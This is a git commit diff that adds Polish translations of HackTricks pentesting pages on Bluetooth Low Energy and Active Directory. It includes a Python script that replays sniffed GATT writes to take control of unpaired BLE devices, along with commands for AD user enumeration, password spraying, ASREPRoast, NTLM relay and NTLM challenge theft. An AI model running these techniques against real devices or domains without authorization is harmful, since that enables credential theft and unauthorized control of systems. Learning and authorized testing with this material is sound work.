Translated ['src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.

This commit is contained in:
Translator 2025-08-28 14:55:16 +00:00
parent 8b701dfe32
commit 11d0efd9c6
2 changed files with 307 additions and 184 deletions

View File

@ -4,21 +4,21 @@
## Wprowadzenie
Dostępny od specyfikacji Bluetooth 4.0, BLE używa tylko 40 kanałów, obejmujących zakres od 2400 do 2483,5 MHz. W przeciwieństwie do tego, tradycyjny Bluetooth używa 79 kanałów w tym samym zakresie.
Dostępny od specyfikacji Bluetooth 4.0, BLE używa tylko 40 kanałów, obejmujących zakres 24002483.5 MHz. Dla porównania tradycyjny Bluetooth używa 79 kanałów w tym samym paśmie.
Urządzenia BLE komunikują się, wysyłając **pakiety reklamowe** (**beacons**), które ogłaszają istnienie urządzenia BLE innym pobliskim urządzeniom. Te beacons czasami również **wysyłają dane**.
Urządzenia BLE komunikują się poprzez wysyłanie advertising packets (beacons) — pakiety te rozgłaszają istnienie urządzenia BLE innym pobliskim urządzeniom. Te beacony czasami również przesyłają dane.
Urządzenie nasłuchujące, zwane również urządzeniem centralnym, może odpowiedzieć na pakiet reklamowy za pomocą **żądania SCAN** wysłanego specjalnie do urządzenia reklamowego. **Odpowiedź** na to skanowanie używa tej samej struktury co pakiet **reklamowy** z dodatkowymi informacjami, które nie mogły zmieścić się w początkowym żądaniu reklamowym, takimi jak pełna nazwa urządzenia.
Urządzenie nasłuchujące, zwane też central device, może odpowiedzieć na advertising packet za pomocą SCAN request wysłanego bezpośrednio do urządzenia reklamującego się. Response na to żądanie ma taką samą strukturę jak advertising packet, z dodatkowymi informacjami, które nie zmieściły się w początkowym żądaniu reklamowym, np. pełną nazwą urządzenia.
![](<../../images/image (152).png>)
Bajt preambuły synchronizuje częstotliwość, podczas gdy czterobajtowy adres dostępu jest **identyfikatorem połączenia**, który jest używany w scenariuszach, w których wiele urządzeń próbuje nawiązać połączenia na tych samych kanałach. Następnie, Jednostka Danych Protokółu (**PDU**) zawiera **dane reklamowe**. Istnieje kilka typów PDU; najczęściej używane to ADV_NONCONN_IND i ADV_IND. Urządzenia używają typu PDU **ADV_NONCONN_IND**, jeśli **nie akceptują połączeń**, przesyłając dane tylko w pakiecie reklamowym. Urządzenia używają **ADV_IND**, jeśli **pozwalają na połączenia** i **przestają wysyłać pakiety reklamowe**, gdy **połączenie** zostało **nawiązane**.
Bajt preambuły synchronizuje częstotliwość, natomiast czterobajtowy access address jest connection identifier, używany gdy wiele urządzeń próbuje nawiązać połączenia na tych samych kanałach. Następnie Protocol Data Unit (PDU) zawiera advertising data. Istnieje kilka typów PDU; najczęściej używane to ADV_NONCONN_IND i ADV_IND. Urządzenia używają typu PDU ADV_NONCONN_IND, jeśli nie akceptują połączeń, przesyłając dane tylko w advertising packet. Urządzenia używają ADV_IND, jeśli allow connections i przestają wysyłać advertising packets po nawiązaniu connection.
### GATT
**Ogólny Profil Atrybutów** (GATT) definiuje, jak **urządzenie powinno formatować i przesyłać dane**. Gdy analizujesz powierzchnię ataku urządzenia BLE, często skupiasz swoją uwagę na GATT (lub GATTach), ponieważ to w ten sposób **wywoływana jest funkcjonalność urządzenia** i jak dane są przechowywane, grupowane i modyfikowane. GATT wymienia cechy, deskryptory i usługi urządzenia w tabeli jako wartości 16- lub 32-bitowe. **Cechą** jest **wartość danych** **wysyłana** między urządzeniem centralnym a peryferyjnym. Te cechy mogą mieć **deskryptory**, które **dostarczają dodatkowe informacje o nich**. **Cechy** są często **grupowane** w **usługi**, jeśli są związane z wykonywaniem określonej akcji.
Generic Attribute Profile (GATT) definiuje, w jaki sposób urządzenie powinno formatować i przesyłać dane. Analizując powierzchnię ataku urządzenia BLE często koncentrujesz się na GATT (lub GATTs), ponieważ to on określa, jak wywoływana jest funkcjonalność urządzenia oraz jak dane są przechowywane, grupowane i modyfikowane. GATT wymienia characteristics, descriptors i services urządzenia w tabeli jako wartości 16- lub 32-bitowe. Characteristic to wartość danych przesyłana między central device a peripheral. Te characteristics mogą mieć descriptors, które dostarczają dodatkowych informacji o nich. Characteristics są często grupowane w services, jeśli są powiązane z wykonywaniem konkretnej czynności.
## Enumeracja
## Enumeration
```bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
@ -30,8 +30,8 @@ spooftooph -i hci0 -a 11:22:33:44:55:66
```
### GATTool
**GATTool** umożliwia **nawiązanie** **połączenia** z innym urządzeniem, wyświetlając **charakterystyki** tego urządzenia oraz odczytując i zapisując jego atrybuty.\
GATTTool może uruchomić interaktywną powłokę z opcją `-I`:
**GATTool** umożliwia **nawiązać** **connection** z innym urządzeniem, wylistowanie jego **characteristics**, oraz odczyt i zapis jego attributes.\
GATTTool może uruchomić interactive shell za pomocą opcji `-I`:
```bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
@ -64,4 +64,125 @@ sudo bettercap --eval "ble.recon on"
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
```
## Sniffing i aktywne kontrolowanie nieparowanych urządzeń BLE
Wiele tanich peryferiów BLE nie wymusza pairing/bonding. Bez bonding, Link Layer encryption nigdy nie jest włączone, więc ruch ATT/GATT jest w postaci jawnego tekstu. Off-path sniffer może śledzić połączenie, dekodować operacje GATT, aby poznać uchwyty charakterystyk i ich wartości, a każdy pobliski host może następnie połączyć się i odtworzyć te zapisy, aby kontrolować urządzenie.
### Sniffing with Sniffle (CC26x2/CC1352)
Hardware: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) z ponownie wgranym firmware Sniffle firmy NCC Group.
Install Sniffle and its Wireshark extcap on Linux:
```bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi
```
Wgraj Sniffle firmware na Sonoff (upewnij się, że urządzenie szeregowe jest poprawne, np. /dev/ttyUSB0):
```bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd
```
Przechwyć w Wireshark za pomocą Sniffle extcap i szybko przejdź do zapisów zmieniających stan, filtrując:
```text
_ws.col.info contains "Sent Write Command"
```
To pokazuje ATT Write Commands wysyłane przez klienta; uchwyt i wartość często bezpośrednio odpowiadają działaniom urządzenia (np. zapis 0x01 do charakterystyki buzzer/alert, 0x00 — aby zatrzymać).
Szybkie przykłady Sniffle CLI:
```bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap
```
Alternatywny sniffer: Nordics nRF Sniffer for BLE + Wireshark plugin też działa. Na małych/tanich Nordic donglach zazwyczaj nadpisuje się USB bootloader, aby załadować sniffer firmware, więc albo zachowujesz dedykowany dongle-sniffer, albo potrzebujesz J-Link/JTAG do późniejszego przywrócenia bootloadera.
### Active control via GATT
Gdy zidentyfikujesz writable characteristic handle i wartość ze sniffed traffic, połącz się jako dowolny central i wykonaj ten sam Write:
- Za pomocą Nordic nRF Connect for Desktop (BLE app):
- Wybierz nRF52/nRF52840 dongle, zeskanuj i połącz się z targetem.
- Przeglądaj GATT database, zlokalizuj target characteristic (często ma przyjazną nazwę, np. Alert Level).
- Wykonaj Write ze sniffed bytes (np. 01 aby wyzwolić, 00 aby zatrzymać).
- Automatyzuj na Windows z Nordic dongle używając Python + blatann:
```python
import time
import blatann
# CONFIG
COM_PORT = "COM29" # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)
print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)
# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b: # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")
print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()
```
### Uwagi operacyjne i środki zaradcze
- Preferuj Sonoff+Sniffle na Linuxie dla niezawodnego przeskakiwania kanałów i śledzenia połączeń. Miej zapasowy Nordic sniffer jako kopię zapasową.
- Bez pairing/bonding każdy pobliski atakujący może obserwować zapisy i odtwarzać/tworzyć własne do unauthenticated writable characteristics.
- Środki zaradcze: wymagaj pairing/bonding i wymuszaj szyfrowanie; ustaw uprawnienia characteristic tak, aby wymagały authenticated writes; minimalizuj unauthenticated writable characteristics; weryfikuj GATT ACLs za pomocą Sniffle/nRF Connect.
## References
- [Start hacking Bluetooth Low Energy today! (part 2) Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,40 +1,40 @@
# Active Directory Methodology
# Metodyka Active Directory
{{#include ../../banners/hacktricks-training.md}}
## Basic overview
## Podstawowy przegląd
**Active Directory** służy jako podstawowa technologia, umożliwiająca **administratorom sieci** efektywne tworzenie i zarządzanie **domenami**, **użytkownikami** i **obiektami** w sieci. Został zaprojektowany tak, aby skalować się, ułatwiając organizację dużej liczby użytkowników w zarządzalne **grupy** i **podgrupy**, jednocześnie kontrolując **prawa dostępu** na różnych poziomach.
**Active Directory** pełni rolę podstawowej technologii, umożliwiającej **administratorom sieci** efektywne tworzenie i zarządzanie **domenami**, **użytkownikami** oraz **obiektami** w sieci. Został zaprojektowany z myślą o skalowalności, ułatwiając organizowanie dużej liczby użytkowników w zarządzalne **grupy** i **podgrupy**, jednocześnie kontrolując **prawa dostępu** na różnych poziomach.
Struktura **Active Directory** składa się z trzech głównych warstw: **domen**, **drzew** i **lasów**. **Domena** obejmuje zbiór obiektów, takich jak **użytkownicy** lub **urządzenia**, które dzielą wspólną bazę danych. **Drzewa** to grupy takich domen powiązane wspólną strukturą, a **las** reprezentuje zbiór wielu drzew, połączonych przez **relacje zaufania**, tworząc najwyższą warstwę struktury organizacyjnej. Specyficzne **prawa dostępu** i **komunikacji** mogą być przydzielane na każdym z tych poziomów.
Struktura **Active Directory** składa się z trzech głównych warstw: **domen**, **drzew** i **lasów**. **Domena** obejmuje zbiór obiektów, takich jak **użytkownicy** czy **urządzenia**, które dzielą wspólną bazę danych. **Drzewa** to grupy tych domen powiązane wspólną strukturą, a **las** reprezentuje zbiór wielu drzew połączonych przez **zaufania (trust relationships)**, tworząc najwyższy poziom struktury organizacyjnej. Na każdym z tych poziomów można przypisać specyficzne **uprawnienia dostępu** oraz prawa komunikacji.
Kluczowe pojęcia w **Active Directory** obejmują:
1. **Directory** Przechowuje wszystkie informacje dotyczące obiektów Active Directory.
2. **Object** Oznacza byty w katalogu, w tym **użytkowników**, **grupy** lub **udostępnione foldery**.
3. **Domain** Służy jako kontener dla obiektów katalogu; w **lesie** może współistnieć wiele domen, z każdą utrzymującą własny zbiór obiektów.
4. **Tree** Grupa domen dzielących wspólną domenę root.
5. **Forest** Szczytowa struktura organizacyjna w Active Directory, składająca się z kilku drzew z **relacjami zaufania** między nimi.
1. **Directory** Zawiera wszystkie informacje dotyczące obiektów Active Directory.
2. **Object** Oznacza byty w katalogu, w tym **użytkowników**, **grupy** lub **udzielone foldery**.
3. **Domain** Służy jako kontener dla obiektów katalogu; w ramach **lasa** może istnieć wiele domen, z których każda posiada własny zestaw obiektów.
4. **Tree** Grupowanie domen, które dzielą wspólną domenę główną.
5. **Forest** Najwyższa warstwa struktury organizacyjnej w Active Directory, składająca się z kilku drzew połączonych **zaufaniami (trust relationships)**.
**Active Directory Domain Services (AD DS)** obejmuje szereg usług kluczowych dla scentralizowanego zarządzania i komunikacji w sieci. Usługi te obejmują:
1. **Domain Services** Centralizuje przechowywanie danych i zarządza interakcjami między **użytkownikami** a **domenami**, w tym **uwierzytelnianiem** i funkcjami **wyszukiwania**.
2. **Certificate Services** Nadzoruje tworzenie, dystrybucję i zarządzanie bezpiecznymi **certyfikatami cyfrowymi**.
3. **Lightweight Directory Services** Wspiera aplikacje wykorzystujące katalog poprzez **LDAP protocol**.
3. **Lightweight Directory Services** Wspiera aplikacje wykorzystujące katalog poprzez protokół **LDAP**.
4. **Directory Federation Services** Zapewnia funkcje **single-sign-on** do uwierzytelniania użytkowników w wielu aplikacjach webowych w jednej sesji.
5. **Rights Management** Pomaga chronić materiały objęte prawem autorskim poprzez regulowanie ich nieautoryzowanej dystrybucji i użycia.
5. **Rights Management** Pomaga chronić materiały objęte prawami autorskimi, regulując ich nieautoryzowaną dystrybucję i użycie.
6. **DNS Service** Kluczowy dla rozwiązywania **nazw domen**.
For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
### **Kerberos Authentication**
Aby nauczyć się, jak **atakować AD**, musisz naprawdę dobrze **zrozumieć proces uwierzytelniania Kerberos**.\
[**Przeczytaj tę stronę, jeśli nadal nie wiesz, jak to działa.**](kerberos-authentication.md)
To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
[**Read this page if you still don't know how it works.**](kerberos-authentication.md)
## Cheat Sheet
Możesz zajrzeć na [https://wadcoms.github.io/](https://wadcoms.github.io), żeby szybko zobaczyć, które polecenia możesz uruchomić, aby enumerować/eksploitować AD.
You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD.
> [!WARNING]
> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
@ -44,15 +44,15 @@ Możesz zajrzeć na [https://wadcoms.github.io/](https://wadcoms.github.io), że
If you just have access to an AD environment but you don't have any credentials/sessions you could:
- **Pentest the network:**
- Skanuj sieć, znajdź maszyny i otwarte porty oraz spróbuj **eksploitować luki** lub **wyciągnąć poświadczenia** z nich (na przykład, [drukarki mogą być bardzo interesującymi celami](ad-information-in-printers.md)).
- Enumeracja DNS może dostarczyć informacji o kluczowych serwerach w domenie, takich jak web, drukarki, udziały, vpn, media itp.
- Scan the network, find machines and open ports and try to **exploit vulnerabilities** or **extract credentials** from them (for example, [printers could be very interesting targets](ad-information-in-printers.md).
- Enumerating DNS could give information about key servers in the domain as web, printers, shares, vpn, media, etc.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Zerknij na ogólną [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md), aby znaleźć więcej informacji o tym, jak to robić.
- **Sprawdź dostęp null i Guest na usługach smb** (to nie zadziała na nowoczesnych wersjach Windows):
- Take a look to the General [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) to find more information about how to do this.
- **Check for null and Guest access on smb services** (this won't work on modern Windows versions):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- Bardziej szczegółowy przewodnik po enumeracji serwera SMB można znaleźć tutaj:
- A more detailed guide on how to enumerate a SMB server can be found here:
{{#ref}}
@ -61,7 +61,7 @@ If you just have access to an AD environment but you don't have any credentials/
- **Enumerate Ldap**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Bardziej szczegółowy przewodnik po enumeracji LDAP można znaleźć tutaj (zwróć **szczególną uwagę na dostęp anonimowy**):
- A more detailed guide on how to enumerate LDAP can be found here (pay **special attention to the anonymous access**):
{{#ref}}
@ -69,21 +69,21 @@ If you just have access to an AD environment but you don't have any credentials/
{{#endref}}
- **Poison the network**
- Zbieraj poświadczenia, **podszywając się pod usługi za pomocą Responder** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Uzyskaj dostęp do hosta przez [**nadużycie relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Zbieraj poświadczenia, **eksponując fałszywe usługi UPnP za pomocą evil-S** (../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- Gather credentials [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Access host by [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Gather credentials **exposing** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Wyodrębnij nazwy użytkowników/imię i nazwiska z dokumentów wewnętrznych, social media, usług (głównie web) w środowisku domenowym i także z dostępnych publicznie źródeł.
- Jeśli znajdziesz pełne imiona i nazwiska pracowników firmy, możesz spróbować różnych konwencji nazw użytkowników AD (**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najczęstsze konwencje to: _NameSurname_, _Name.Surname_, _NamSur_ (3 litery z każdego), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _losowe litery i 3 losowe cyfry_ (abc123).
- Narzędzia:
- Extract usernames/names from internal documents, social media, services (mainly web) inside the domain environments and also from the publicly available.
- If you find the complete names of company workers, you could try different AD **username conventions (**[**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)). The most common conventions are: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
- Tools:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### User enumeration
- **Anonymous SMB/LDAP enum:** Sprawdź strony [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) oraz [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Gdy żądany jest **nieprawidłowy username**, serwer odpowie używając **błędu Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, co pozwala nam stwierdzić, że nazwa użytkownika była nieprawidłowa. **Prawidłowe nazwy użytkowników** spowodują albo otrzymanie **TGT w odpowiedzi AS-REP**, albo błąd _KRB5KDC_ERR_PREAUTH_REQUIRED_, wskazujący, że użytkownik musi wykonać pre-authentication.
- **No Authentication against MS-NRPC**: Użycie auth-level = 1 (No authentication) przeciwko interfejsowi MS-NRPC (Netlogon) na kontrolerach domeny. Metoda wywołuje funkcję `DsrGetDcNameEx2` po związaniu interfejsu MS-NRPC, aby sprawdzić, czy użytkownik lub komputer istnieje bez jakichkolwiek poświadczeń. Narzędzie [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementuje ten typ enumeracji. Badania można znaleźć [tutaj](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
- **Anonymous SMB/LDAP enum:** Check the [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) and [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) pages.
- **Kerbrute enum**: When an **invalid username is requested** the server will respond using the **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, allowing us to determine that the username was invalid. **Valid usernames** will illicit either the **TGT in a AS-REP** response or the error _KRB5KDC_ERR_PREAUTH_REQUIRED_, indicating that the user is required to perform pre-authentication.
- **No Authentication against MS-NRPC**: Using auth-level = 1 (No authentication) against the MS-NRPC (Netlogon) interface on domain controllers. The method calls the `DsrGetDcNameEx2` function after binding MS-NRPC interface to check if the user or computer exists without any credentials. The [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) tool implements this type of enumeration. The research can be found [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -110,17 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
> Możesz znaleźć listy nazw użytkowników w [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) i w tym ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
>
> However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames.
> Jednak powinieneś mieć **imiona osób pracujących w firmie** z etapu recon, który powinieneś wykonać wcześniej. Mając imię i nazwisko możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951) do wygenerowania potencjalnych prawidłowych nazw użytkowników.
### Knowing one or several usernames
Ok, so you know you have already a valid username but no passwords... Then try:
Ok, więc wiesz, że masz już prawidłową nazwę użytkownika, ale nie masz haseł... Spróbuj wtedy:
- [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _DONT_REQ_PREAUTH_ you can **request a AS_REP message** for that user that will contain some data encrypted by a derivation of the password of the user.
- [**Password Spraying**](password-spraying.md): Let's try the most **common passwords** with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!).
- Note that you can also **spray OWA servers** to try to get access to the users mail servers.
- [**ASREPRoast**](asreproast.md): Jeśli użytkownik **nie ma** atrybutu _DONT_REQ_PREAUTH_, możesz **zażądać komunikatu AS_REP** dla tego użytkownika, który będzie zawierał dane zaszyfrowane pochodną hasła użytkownika.
- [**Password Spraying**](password-spraying.md): Wypróbuj najbardziej **popularne hasła** dla każdego z odkrytych użytkowników — być może ktoś używa słabego hasła (pamiętaj o polityce haseł!).
- Zauważ, że możesz też **spraysować serwery OWA**, aby spróbować uzyskać dostęp do skrzynek pocztowych użytkowników.
{{#ref}}
@ -129,7 +129,7 @@ password-spraying.md
### LLMNR/NBT-NS Poisoning
You might be able to **obtain** some challenge **hashes** to crack **poisoning** some protocols of the **network**:
Możesz być w stanie **uzyskać** pewne challenge **hashy** do crackowania, poprzez poisoning niektórych protokołów w **sieci**:
{{#ref}}
@ -138,11 +138,11 @@ You might be able to **obtain** some challenge **hashes** to crack **poisoning**
### NTLM Relay
If you have managed to enumerate the Active Directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) to get access to the AD env.
Jeśli udało Ci się zenumerować Active Directory, będziesz miał **więcej maili i lepsze zrozumienie sieci**. Możesz być w stanie zmusić do NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack), aby uzyskać dostęp do środowiska AD.
### Steal NTLM Creds
If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
Jeśli możesz **dostać się do innych PC lub share'ów** używając użytkownika null lub guest, możesz **umieścić pliki** (np. plik SCF), które jeśli zostaną w jakiś sposób otwarte, spowodują **wywołanie NTLM authentication przeciwko Tobie**, dzięki czemu możesz **ukraść** **NTLM challenge** i spróbować je złamać:
{{#ref}}
@ -151,9 +151,9 @@ If you can **access other PCs or shares** with the **null or guest user** you co
## Enumerating Active Directory WITH credentials/session
For this phase you need to have **compromised the credentials or a session of a valid domain account.** If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**.
Na tym etapie musisz **posiadać skompromitowane poświadczenia lub sesję ważnego konta domenowego.** Jeśli masz jakieś prawidłowe poświadczenia lub shell jako użytkownik domenowy, **pamiętaj, że opcje wymienione wcześniej nadal mogą posłużyć do kompromitacji innych użytkowników**.
Before start the authenticated enumeration you should know what is the **Kerberos double hop problem.**
Zanim zaczniesz uwierzytelnioną enumerację powinieneś znać, czym jest **Kerberos double hop problem**.
{{#ref}}
@ -162,33 +162,33 @@ kerberos-double-hop-problem.md
### Enumeration
Having compromised an account is a **big step to start compromising the whole domain**, because you are going to be able to start the **Active Directory Enumeration:**
Skompromitowanie konta to **duży krok do rozpoczęcia kompromitacji całej domeny**, ponieważ będziesz mógł rozpocząć **Active Directory Enumeration:**
Regarding [**ASREPRoast**](asreproast.md) you can now find every possible vulnerable user, and regarding [**Password Spraying**](password-spraying.md) you can get a **list of all the usernames** and try the password of the compromised account, empty passwords and new promising passwords.
Jeśli chodzi o [**ASREPRoast**](asreproast.md), teraz możesz znaleźć każdy możliwy podatny użytkownik, a w kontekście [**Password Spraying**](password-spraying.md) możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła skompromitowanego konta, pustych haseł oraz nowych obiecujących haseł.
- You could use the [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
- You can also use [**powershell for recon**](../basic-powershell-for-pentesters/index.html) which will be stealthier
- You can also [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information
- Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records of the AD**](ad-dns-records.md) as they might contain interesting information.
- A **tool with GUI** that you can use to enumerate the directory is **AdExplorer.exe** from **SysInternal** Suite.
- You can also search in the LDAP database with **ldapsearch** to look for credentials in fields _userPassword_ & _unixUserPassword_, or even for _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) for other methods.
- If you are using **Linux**, you could also enumerate the domain using [**pywerview**](https://github.com/the-useless-one/pywerview).
- You could also try automated tools as:
- Możesz użyć [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
- Możesz też użyć [**powershell for recon**](../basic-powershell-for-pentesters/index.html), co będzie bardziej stealthy
- Możesz również [**use powerview**](../basic-powershell-for-pentesters/powerview.md) do wyciągnięcia bardziej szczegółowych informacji
- Kolejnym rewelacyjnym narzędziem do reconu w Active Directory jest [**BloodHound**](bloodhound.md). Nie jest ono **zbyt stealthy** (zależnie od metod zbierania), ale **jeśli Cię to nie obchodzi**, warto spróbować. Znajdź gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itd.
